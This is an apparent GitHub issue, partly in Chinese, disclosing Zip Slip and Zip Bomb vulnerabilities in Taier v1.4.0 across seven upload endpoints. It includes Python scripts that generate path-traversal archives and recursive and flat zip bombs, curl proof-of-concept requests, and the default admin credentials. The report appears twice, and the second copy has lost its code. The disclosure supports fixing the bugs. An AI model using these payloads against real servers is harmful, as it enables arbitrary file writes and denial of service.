Search before asking
What happened
Taier v1.4.0 存在Zip Slip与Zip Bomb漏洞,覆盖两套解压系统,多个漏洞入口。
What you expected to happen
攻击者可通过上传包含路径穿越条目的恶意 ZIP 文件,将文件写入目标目录之外,造成任意文件写入或覆盖。也可上传高压缩比 ZIP 文件,触发服务端持续解压写盘,导致 CPU、内存、磁盘 I/O 或存储空间耗尽,造成拒绝服务。
How to reproduce
Taier Archive File Vulnerability Report
Taier v1.4.0 is affected by Zip Slip and Zip Bomb vulnerabilities. The issues cover two decompression systems and multiple vulnerable entry points.
Deploy this project:

The default username and password are admin@dtstack.com / admin123.
1. Vulnerability Overview
This source code contains two insecure decompression implementations. Each implementation can lead to both Zip Slip and Zip Bomb issues.
1) Common decompressor in taier-common: can lead to Zip Slip and recursive Zip Bomb
File:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-282
Key code:
ZipUtil.java:235
File _file = new File(descDir + File.separator + entry.getName());
ZipUtil.java:242-247
Parent directories are created and files are written directly.
- No
normalize / canonicalPath / startsWith(baseDir) validation is performed.
ZipUtil.java:257-258
If the extracted file header is still ZIP, upzipFile(...) is called recursively.
ZipUtil.java:265-266
IOException is swallowed directly.
This leads to both of the following:
- Zip Slip:
entry.getName() can contain ../.
- Zip Bomb: nested ZIP files are recursively decompressed without limits on total size, entry count, or compression ratio.
2) Datasource plugin decompressor: can lead to Zip Slip and regular Zip Bomb
File:
taier-datasource/taier-datasource-plugin/taier-datasource-plugin-common/src/main/java/com/dtstack/taier/datasource/plugin/common/utils/ZipUtil.java:81-112
Key code:
ZipUtil.java:89
File singleFile = new File(targetLocation + File.separator + entry.getName());
ZipUtil.java:94-103
Parent directories are created and files are written directly.
- It also lacks path normalization and directory-boundary validation.
It does not have the recursive decompression logic used by the common decompressor, but it is still affected by:
- Zip Slip
- Regular Zip Bomb: high compression ratio / large number of entries / large total decompressed size
Zip Slip Vulnerability Report
There are 7 Zip Slip entry points.
Entry Point 1: /taier/api/upload/component/parseKerberos
Code Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:130-133
Upload saved locally:
UploadController.java:143-159
Decompression and parsing:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/console/ConsoleComponentService.java:627-635
ConsoleComponentService.java:637-647
Decompression base directory:
taier-worker/taier-worker-api/src/main/java/com/dtstack/taier/pluginapi/constrant/ConfigConstant.java:82
Container working directory and existing log directory:
Vulnerable sink:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247
Benign ZIP Generation
This chain uses the common upzipFile(...) method. Adding a leading p/ directory makes the proof more stable.
import zipfile
with zipfile.ZipFile("taier-slip-poc.zip", "w", zipfile.ZIP_DEFLATED) as zf:
# Add a leading directory first so that /usr/taier/unzip/taier-slip-poc.zip/p exists.
zf.writestr(zipfile.ZipInfo("p/"), b"")
# Write outside the extraction directory to an existing and easy-to-observe harmless target.
zf.writestr("p/../../../../../../../../../../../../../../../../../../tmp/taier-slip-proof.txt", b"TAIER_ZIPSLIP_POC\n")
# Add a normal file for debugging.
zf.writestr("p/readme.txt", b"inside zip\n")
PoC
curl.exe -i `
-X POST "http://192.168.20.129:8090/taier/api/upload/component/parseKerberos" `
-H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
-F "fileName=@E:\Desktop\taier-slip-poc.zip;type=application/zip"
Verification
Even if the API finally returns an error such as “missing keytab”, the Zip Slip file write has already occurred.

Verify:
docker exec -it taier sh -c 'ls -lah /tmp | head'
docker exec -it taier sh -c 'cat /tmp/taier-slip-poc.txt'

Entry Point 2: /taier/api/upload/component/uploadKerberos
Code Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:136-140
Preceding SFTP retrieval:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/console/ConsoleComponentService.java:744-757
ConsoleComponentService.java:377-390
Actual decompression:
ConsoleComponentService.java:482-499
ConsoleComponentService.java:500-511
Local Kerberos decompression path:
ConsoleComponentService.java:612-617
Component type codes:
taier-common/src/main/java/com/dtstack/taier/common/enums/EComponentType.java:27-35
Vulnerable sink:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247
Benign ZIP Generation
The local decompression directory for this chain comes from env.getTempDir() + clusterName + componentType + KERBEROS. The path is less fixed than /usr/taier/unzip/..., so this PoC uses a large traversal depth and writes benignly to /tmp/taier-slip-proof.txt.
import zipfile
OUT = "taier-slip-poc.zip"
ENTRY = "p/../../../../../../../../../../../../../../tmp/taier-slip-proof.txt"
with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(zipfile.ZipInfo("p/"), b"")
zf.writestr(ENTRY, b"TAIER_ZIPSLIP_POC\n")
zf.writestr("p/readme.txt", b"dummy\n")
print(f"[+] wrote {OUT}")
print(f"[+] evil entry = {ENTRY}")
PoC
curl.exe -i `
-X POST "http://192.168.20.129:8090/taier/api/upload/component/uploadKerberos" `
-H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
-F 'kerberosFile=@taier-slip-poc.zip;type=application/zip' `
-F 'clusterId=1' `
-F 'componentCode=1' `
-F 'versionName=test'
The principle is the same, but SFTP needs to be configured.
Entry Point 3: /taier/api/upload/component/config
Code Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:60-64
ZIP decompression is only reached when componentType belongs to componentTypeConfigMapping:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/console/ConsoleComponentService.java:151,160-161
ConsoleComponentService.java:882-891
This only includes:
See:
taier-common/src/main/java/com/dtstack/taier/common/enums/EComponentType.java:32-33
Actual decompression:
ConsoleComponentService.java:1050-1067
taier-scheduler/src/main/java/com/dtstack/taier/scheduler/utils/XmlFileUtil.java:72-75
Vulnerable sink:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247
Benign ZIP Generation
import zipfile
OUT = "taier-slip-component-config.zip"
with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(zipfile.ZipInfo("p/"), b"")
zf.writestr("p/../../../../../../../../../../../../tmp/taier-slip-proof.txt", b"TAIER_ZIPSLIP_POC\n")
zf.writestr("p/readme.txt", b"dummy\n")
PoC
The following example uses componentType=2 (HDFS):
curl.exe -i `
-X POST "http://192.168.20.129:8090/taier/api/upload/component/config" `
-H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
-F "fileName=@E:\Desktop\taier-slip-component-config.zip;type=application/zip" `
-F "componentType=2" `
-F "autoDelete=true"

Verification
docker exec -it taier sh -c 'ls -lah /tmp | head'
docker exec -it taier sh -c 'cat /tmp/taier-slip-proof.txt'

Notes
- ZIP decompression is only reached when
componentType=2(HDFS) or 3(YARN).
- If another
componentType is passed, the code follows parseJsonFile(...) and Zip Slip is not triggered.
Entry Point 4: /taier/api/upload/component/addOrUpdateComponent
Code Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:67-123
There are two internal branches that can trigger Zip Slip.
Branch A: Kerberos ZIP branch
ConsoleComponentService.java:332-345
ConsoleComponentService.java:482-499
Branch B: HDFS / YARN configuration ZIP branch
ConsoleComponentService.java:332-357
ConsoleComponentService.java:402-416
ConsoleComponentService.java:731-733
Local decompression directory for configuration files:
taier-scheduler/src/main/java/com/dtstack/taier/scheduler/service/ComponentService.java:203-208
ConsoleComponentService.java:405-407
Vulnerable sink:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247
Benign ZIP Generation
This uses the more stable HDFS/YARN configuration ZIP branch.
import zipfile
OUT = "taier-slip-addOrUpdateComponent.zip"
with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(zipfile.ZipInfo("p/"), b"")
zf.writestr("p/../../../../../../../../../../../../tmp/taier-slip-proof.txt", b"TAIER_ZIPSLIP_POC\n")
zf.writestr("p/readme.txt", b"dummy\n")
PoC
This API requires both resources1 and resources2 to be multipart array parameters. For stability, the same harmless ZIP can be uploaded twice.
The following example uses componentCode=2 (HDFS):
curl.exe -i `
-X POST "http://192.168.20.129:8090/taier/api/upload/component/addOrUpdateComponent" `
-H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
-F "resources1=@E:\Desktop\taier-slip-addOrUpdateComponent.zip;type=application/zip" `
-F "resources2=@E:\Desktop\taier-slip-addOrUpdateComponent.zip;type=application/zip" `
-F "clusterId=1" `
-F "componentConfig={}" `
-F "versionName=test" `
-F "kerberosFileName=notmatch.zip" `
-F "componentCode=2" `
-F "principals=" `
-F "principal=" `
-F "isMetadata=false" `
-F "isDefault=false" `
-F "deployType=0"
Verification
docker exec -it taier sh -c 'ls -lah /tmp/taier-slip-proof.txt && cat /tmp/taier-slip-proof.txt'
Notes
- This API also depends on SFTP being configured.
- There are two trigger methods:
kerberosFileName matches a ZIP file name and enters the Kerberos branch.
- When
componentCode=2/3, a normal ZIP enters the HDFS/YARN configuration branch.
- The example above uses the second method, which is usually more convenient for benign verification.
Entry Point 5: /taier/api/dataSource/addDs/getPrincipalsWithConf
Code Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/datasource/DatasourceAddController.java:211-219
Upload aspect saves the temporary file:
taier-data-develop/src/main/java/com/dtstack/taier/develop/aspect/UploadAspect.java:65-84
The service first builds the Kerberos configuration:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/datasource/impl/DatasourceService.java:244-247
DatasourceService.java:258-266
Kerberos ZIP parsing:
taier-datasource/taier-datasource-plugin/taier-datasource-plugin-kerberos-core/src/main/java/com/dtstack/taier/datasource/plugin/kerberos/core/KerberosClient.java:58-60
Vulnerable sink:
taier-datasource/taier-datasource-plugin/taier-datasource-plugin-common/src/main/java/com/dtstack/taier/datasource/plugin/common/utils/ZipUtil.java:81-107
Benign ZIP Generation
import sys
import zipfile
out = sys.argv[1] if len(sys.argv) > 1 else "taier-slip-poc.zip"
entry_name = sys.argv[2] if len(sys.argv) > 2 else "../../../../../../../../../../../../../../../../tmp/taier-slip-proof.txt"
content = b"TAIER_ZIPSLIP_POC\n"
with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(entry_name, content)
zf.writestr("dummy/readme.txt", b"dummy")
print(f"[+] wrote {out}")
print(f"[+] evil entry = {entry_name}")
PoC
Note that the parameter name must be file, not kerberosFile.
curl.exe -i `
-X POST "http://192.168.20.129:8090/taier/api/dataSource/addDs/getPrincipalsWithConf" `
-H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
-F 'file=@taier-slip-poc.zip;type=application/zip' `
-F 'userId=1'
Verification


Entry Point 6: /taier/api/dataSource/addDs/testConWithKerberos
Code Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/datasource/DatasourceAddController.java:135-158
Upload aspect:
taier-data-develop/src/main/java/com/dtstack/taier/develop/aspect/UploadAspect.java:65-84
The service first parses the Kerberos ZIP:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/datasource/impl/DatasourceService.java:283-285
DatasourceService.java:258-266
Vulnerable sink:
taier-datasource/.../common/utils/ZipUtil.java:81-107
Benign ZIP Generation
import zipfile
OUT = "taier-slip-testConWithKerberos.zip"
ENTRY = "../../../../../../../../../../../../../../../../tmp/taier-slip-proof.txt"
with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(ENTRY, b"TAIER_ZIPSLIP_POC\n")
zf.writestr("dummy/readme.txt", b"dummy\n")
PoC
This API requires dataJsonString to contain at least principal. See DatasourceAddController.java:142-147.
curl.exe -i `
-X POST "http://192.168.20.129:8090/taier/api/dataSource/addDs/testConWithKerberos" `
-H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
-F "file=@E:\Desktop\taier-slip-testConWithKerberos.zip;type=application/zip" `
-F "userId=1" `
-F 'dataJsonString=eyJwcmluY2lwYWwiOiJwb2NARVhBTVBMRS5DT00ifQ=='

Verification
docker exec -it taier sh -c 'ls -lah /tmp/taier-slip-proof.txt && cat /tmp/taier-slip-proof.txt'

Notes
- A business error may occur later because the datasource connection parameters are incomplete.
- However, Zip Slip occurs during the
buildKerberosConfig(...) stage, before the actual connectivity test.
Entry Point 7: /taier/api/dataSource/addDs/addOrUpdateSourceWithKerberos
Code Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/datasource/DatasourceAddController.java:182-207
Upload aspect:
taier-data-develop/src/main/java/com/dtstack/taier/develop/aspect/UploadAspect.java:65-84
At the beginning of the service method, the Kerberos configuration is built first:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/datasource/impl/DatasourceService.java:357-362
DatasourceService.java:258-266
Vulnerable sink:
taier-datasource/.../common/utils/ZipUtil.java:81-107
Benign ZIP Generation
import zipfile
OUT = "taier-slip-addOrUpdateSourceWithKerberos.zip"
ENTRY = "../../../../../../../../../../../../../../../../tmp/taier-slip-proof.txt"
with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(ENTRY, b"TAIER_ZIPSLIP_POC\n")
zf.writestr("dummy/readme.txt", b"dummy\n")
PoC
In addition to dataJsonString.principal, this API also requires dataName to be non-empty. See:
DatasourceAddController.java:188-203
curl.exe -i `
-X POST "http://192.168.20.129:8090/taier/api/dataSource/addDs/addOrUpdateSourceWithKerberos" `
-H "Cookie: token=...; username=admin@dtstack.com; userId=1" `
-F "file=@E:\Desktop\taier-slip-addOrUpdateSourceWithKerberos.zip;type=application/zip" `
-F "userId=1" `
-F "tenantId=1" `
-F "dataName=zipslip-poc" `
-F "appTypeListString=[1]" `
-F 'dataJsonString=eyJwcmluY2lwYWwiOiJwb2NARVhBTVBMRS5DT00ifQ=='

Verification
docker exec -it taier sh -c 'ls -lah /tmp/taier-slip-proof.txt && cat /tmp/taier-slip-proof.txt'

Notes
- This chain is the same as the previous one: later business stages may fail, but Zip Slip occurs first.
- This is a proof-style entry point where “the file write has occurred, even if the business flow may not succeed.”
Zip Bomb Vulnerability Report
Vulnerability Conclusion
Taier is affected not only by Zip Slip, but also by Zip Bomb.
There are two categories:
1) Recursive Zip Bomb: affects entry points that use the common taier-common ZipUtil.upzipFile(...)
Affected routes:
/taier/api/upload/component/parseKerberos
/taier/api/upload/component/uploadKerberos
/taier/api/upload/component/config
/taier/api/upload/component/addOrUpdateComponent
Code evidence:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:246-258
Key points:
- No per-file size limit
- No total decompressed-size limit
- No entry-count limit
- No compression-ratio limit
- If the extracted file header is still ZIP,
upzipFile(...) is called recursively
This means the impact of a nested Zip Bomb is amplified.
2) Regular Zip Bomb: affects entry points that use the datasource plugin unzipFile(...)
Affected routes:
/taier/api/dataSource/addDs/getPrincipalsWithConf
/taier/api/dataSource/addDs/testConWithKerberos
/taier/api/dataSource/addDs/addOrUpdateSourceWithKerberos
Code evidence:
taier-datasource/.../common/utils/ZipUtil.java:81-107
taier-datasource/.../kerberos/core/KerberosClient.java:58-60
Key points:
- No total decompressed-size limit
- No per-entry limit
- No entry-count limit
- No compression-ratio limit
Although this implementation does not recursively decompress nested ZIP files, a regular high-compression-ratio bomb can still take down the service.
Impact
In the Docker test environment, the following may occur:
- CPU spikes
- Disk exhaustion
- Java process OOM
- Requests blocked for a long time
- Overall service unavailability
Benign / Controlled Zip Bomb Generation
A. Recursive Bomb targeting the common upzipFile(...)
Recommended for:
/taier/api/upload/component/parseKerberos
/taier/api/upload/component/config
These two routes do not require SFTP, so they are the easiest to verify directly.
# make_taier_recursive_zipbomb.py
import io
import zipfile
LEAF_SIZE = 8 * 1024 * 1024 # 8 MB
WIDTH = 4
DEPTH = 3
def build(depth):
if depth == 0:
return b"A" * LEAF_SIZE
inner = build(depth - 1)
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as zf:
for i in range(WIDTH):
if depth == 1:
name = f"leaf_{i}.bin"
else:
name = f"level{depth}_{i}.zip"
zf.writestr(name, inner)
return buf.getvalue()
data = build(DEPTH)
with open("taier-recursive-bomb.zip", "wb") as f:
f.write(data)
print("[+] wrote taier-recursive-bomb.zip")
print(f"[+] theoretical expansion ~= {LEAF_SIZE * (WIDTH ** DEPTH) / (1024**3):.2f} GiB")
B. Regular Bomb targeting datasource unzipFile(...)
Recommended for:
/taier/api/dataSource/addDs/getPrincipalsWithConf
# make_taier_flat_zipbomb.py
import zipfile
OUT = "taier-flat-bomb.zip"
COUNT = 150
EACH = 2 * 1024 * 1024 # 2MB
with zipfile.ZipFile(OUT, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as zf:
payload = b"A" * EACH
for i in range(COUNT):
zf.writestr(f"f{i:03d}.bin", payload)
print(f"[+] wrote {OUT}")
print(f"[+] uncompressed total ~= {COUNT * EACH / (1024**2):.1f} MB")
Zip Bomb PoC
1) Recursive Bomb targeting parseKerberos
curl.exe -i `
-X POST "http://192.168.20.129:8090/taier/api/upload/component/parseKerberos" `
-H "Cookie: token=YOUR_TOKEN; username=admin@dtstack.com; userId=1" `
-F "fileName=@E:\Desktop\taier-recursive-bomb.zip;type=application/zip"
2) Regular Bomb targeting getPrincipalsWithConf
curl.exe -i `
-X POST "http://192.168.20.129:8090/taier/api/dataSource/addDs/getPrincipalsWithConf" `
-H "Cookie: token=YOUR_TOKEN; username=admin@dtstack.com; userId=1" `
-F "file=@E:\Desktop\taier-flat-bomb.zip;type=application/zip" `
-F "userId=1"
Zip Bomb Verification
Observe inside the container:
docker stats
docker exec -it taier sh -c 'df -h'
docker exec -it taier sh -c 'ps aux | grep java'
docker logs taier --tail=200
Usually, the following can be observed:
- CPU/memory usage increases significantly.
- The decompression directory or temporary directory expands quickly.
- The request hangs or returns an error.
Anything else
No response
Version
v1.4
Are you willing to submit PR?
Code of Conduct
Search before asking
What happened
Taier v1.4.0 存在Zip Slip与Zip Bomb漏洞,覆盖两套解压系统,多个漏洞入口。
What you expected to happen
攻击者可通过上传包含路径穿越条目的恶意 ZIP 文件,将文件写入目标目录之外,造成任意文件写入或覆盖。也可上传高压缩比 ZIP 文件,触发服务端持续解压写盘,导致 CPU、内存、磁盘 I/O 或存储空间耗尽,造成拒绝服务。
How to reproduce
Taier Archive File Vulnerability Report
Taier v1.4.0 is affected by Zip Slip and Zip Bomb vulnerabilities. The issues cover two decompression systems and multiple vulnerable entry points.
Deploy this project:
The default username and password are
admin@dtstack.com / admin123.1. Vulnerability Overview
This source code contains two insecure decompression implementations. Each implementation can lead to both Zip Slip and Zip Bomb issues.
1) Common decompressor in
taier-common: can lead to Zip Slip and recursive Zip BombFile:
Key code:
ZipUtil.java:235File _file = new File(descDir + File.separator + entry.getName());ZipUtil.java:242-247Parent directories are created and files are written directly.
normalize / canonicalPath / startsWith(baseDir)validation is performed.ZipUtil.java:257-258If the extracted file header is still ZIP,
upzipFile(...)is called recursively.ZipUtil.java:265-266IOExceptionis swallowed directly.This leads to both of the following:
entry.getName()can contain../.2) Datasource plugin decompressor: can lead to Zip Slip and regular Zip Bomb
File:
Key code:
ZipUtil.java:89File singleFile = new File(targetLocation + File.separator + entry.getName());ZipUtil.java:94-103Parent directories are created and files are written directly.
It does not have the recursive decompression logic used by the common decompressor, but it is still affected by:
Zip Slip Vulnerability Report
There are 7 Zip Slip entry points.
Entry Point 1:
/taier/api/upload/component/parseKerberosCode Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:130-133Upload saved locally:
UploadController.java:143-159Decompression and parsing:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/console/ConsoleComponentService.java:627-635ConsoleComponentService.java:637-647Decompression base directory:
taier-worker/taier-worker-api/src/main/java/com/dtstack/taier/pluginapi/constrant/ConfigConstant.java:82Container working directory and existing log directory:
Dockerfile:4,14,19,27-28Vulnerable sink:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247Benign ZIP Generation
This chain uses the common
upzipFile(...)method. Adding a leadingp/directory makes the proof more stable.PoC
Verification
Even if the API finally returns an error such as “missing keytab”, the Zip Slip file write has already occurred.
Verify:
Entry Point 2:
/taier/api/upload/component/uploadKerberosCode Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:136-140Preceding SFTP retrieval:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/console/ConsoleComponentService.java:744-757ConsoleComponentService.java:377-390Actual decompression:
ConsoleComponentService.java:482-499ConsoleComponentService.java:500-511Local Kerberos decompression path:
ConsoleComponentService.java:612-617Component type codes:
taier-common/src/main/java/com/dtstack/taier/common/enums/EComponentType.java:27-35Vulnerable sink:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247Benign ZIP Generation
The local decompression directory for this chain comes from
env.getTempDir() + clusterName + componentType + KERBEROS. The path is less fixed than/usr/taier/unzip/..., so this PoC uses a large traversal depth and writes benignly to/tmp/taier-slip-proof.txt.PoC
The principle is the same, but SFTP needs to be configured.
Entry Point 3:
/taier/api/upload/component/configCode Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:60-64ZIP decompression is only reached when
componentTypebelongs tocomponentTypeConfigMapping:taier-data-develop/src/main/java/com/dtstack/taier/develop/service/console/ConsoleComponentService.java:151,160-161ConsoleComponentService.java:882-891This only includes:
HDFS(2)YARN(3)See:
taier-common/src/main/java/com/dtstack/taier/common/enums/EComponentType.java:32-33Actual decompression:
ConsoleComponentService.java:1050-1067taier-scheduler/src/main/java/com/dtstack/taier/scheduler/utils/XmlFileUtil.java:72-75Vulnerable sink:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247Benign ZIP Generation
PoC
The following example uses
componentType=2(HDFS):Verification
Notes
componentType=2(HDFS)or3(YARN).componentTypeis passed, the code followsparseJsonFile(...)and Zip Slip is not triggered.Entry Point 4:
/taier/api/upload/component/addOrUpdateComponentCode Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/console/UploadController.java:67-123There are two internal branches that can trigger Zip Slip.
Branch A: Kerberos ZIP branch
ConsoleComponentService.java:332-345ConsoleComponentService.java:482-499Branch B: HDFS / YARN configuration ZIP branch
ConsoleComponentService.java:332-357ConsoleComponentService.java:402-416ConsoleComponentService.java:731-733Local decompression directory for configuration files:
taier-scheduler/src/main/java/com/dtstack/taier/scheduler/service/ComponentService.java:203-208ConsoleComponentService.java:405-407Vulnerable sink:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:226-247Benign ZIP Generation
This uses the more stable HDFS/YARN configuration ZIP branch.
PoC
This API requires both
resources1andresources2to be multipart array parameters. For stability, the same harmless ZIP can be uploaded twice.The following example uses
componentCode=2(HDFS):Verification
Notes
kerberosFileNamematches a ZIP file name and enters the Kerberos branch.componentCode=2/3, a normal ZIP enters the HDFS/YARN configuration branch.Entry Point 5:
/taier/api/dataSource/addDs/getPrincipalsWithConfCode Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/datasource/DatasourceAddController.java:211-219Upload aspect saves the temporary file:
taier-data-develop/src/main/java/com/dtstack/taier/develop/aspect/UploadAspect.java:65-84The service first builds the Kerberos configuration:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/datasource/impl/DatasourceService.java:244-247DatasourceService.java:258-266Kerberos ZIP parsing:
taier-datasource/taier-datasource-plugin/taier-datasource-plugin-kerberos-core/src/main/java/com/dtstack/taier/datasource/plugin/kerberos/core/KerberosClient.java:58-60Vulnerable sink:
taier-datasource/taier-datasource-plugin/taier-datasource-plugin-common/src/main/java/com/dtstack/taier/datasource/plugin/common/utils/ZipUtil.java:81-107Benign ZIP Generation
PoC
Note that the parameter name must be
file, notkerberosFile.Verification
Entry Point 6:
/taier/api/dataSource/addDs/testConWithKerberosCode Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/datasource/DatasourceAddController.java:135-158Upload aspect:
taier-data-develop/src/main/java/com/dtstack/taier/develop/aspect/UploadAspect.java:65-84The service first parses the Kerberos ZIP:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/datasource/impl/DatasourceService.java:283-285DatasourceService.java:258-266Vulnerable sink:
taier-datasource/.../common/utils/ZipUtil.java:81-107Benign ZIP Generation
PoC
This API requires
dataJsonStringto contain at leastprincipal. SeeDatasourceAddController.java:142-147.Verification
Notes
buildKerberosConfig(...)stage, before the actual connectivity test.Entry Point 7:
/taier/api/dataSource/addDs/addOrUpdateSourceWithKerberosCode Evidence
HTTP entry point:
taier-data-develop/src/main/java/com/dtstack/taier/develop/controller/datasource/DatasourceAddController.java:182-207Upload aspect:
taier-data-develop/src/main/java/com/dtstack/taier/develop/aspect/UploadAspect.java:65-84At the beginning of the service method, the Kerberos configuration is built first:
taier-data-develop/src/main/java/com/dtstack/taier/develop/service/datasource/impl/DatasourceService.java:357-362DatasourceService.java:258-266Vulnerable sink:
taier-datasource/.../common/utils/ZipUtil.java:81-107Benign ZIP Generation
PoC
In addition to
dataJsonString.principal, this API also requiresdataNameto be non-empty. See:DatasourceAddController.java:188-203Verification
Notes
Zip Bomb Vulnerability Report
Vulnerability Conclusion
Taier is affected not only by Zip Slip, but also by Zip Bomb.
There are two categories:
1) Recursive Zip Bomb: affects entry points that use the common
taier-common ZipUtil.upzipFile(...)Affected routes:
/taier/api/upload/component/parseKerberos/taier/api/upload/component/uploadKerberos/taier/api/upload/component/config/taier/api/upload/component/addOrUpdateComponentCode evidence:
taier-common/src/main/java/com/dtstack/taier/common/util/ZipUtil.java:246-258Key points:
upzipFile(...)is called recursivelyThis means the impact of a nested Zip Bomb is amplified.
2) Regular Zip Bomb: affects entry points that use the datasource plugin
unzipFile(...)Affected routes:
/taier/api/dataSource/addDs/getPrincipalsWithConf/taier/api/dataSource/addDs/testConWithKerberos/taier/api/dataSource/addDs/addOrUpdateSourceWithKerberosCode evidence:
taier-datasource/.../common/utils/ZipUtil.java:81-107taier-datasource/.../kerberos/core/KerberosClient.java:58-60Key points:
Although this implementation does not recursively decompress nested ZIP files, a regular high-compression-ratio bomb can still take down the service.
Impact
In the Docker test environment, the following may occur:
Benign / Controlled Zip Bomb Generation
A. Recursive Bomb targeting the common
upzipFile(...)Recommended for:
/taier/api/upload/component/parseKerberos/taier/api/upload/component/configThese two routes do not require SFTP, so they are the easiest to verify directly.
B. Regular Bomb targeting datasource
unzipFile(...)Recommended for:
/taier/api/dataSource/addDs/getPrincipalsWithConfZip Bomb PoC
1) Recursive Bomb targeting
parseKerberos2) Regular Bomb targeting
getPrincipalsWithConfZip Bomb Verification
Observe inside the container:
Usually, the following can be observed:
Anything else
No response
Version
v1.4
Are you willing to submit PR?
Code of Conduct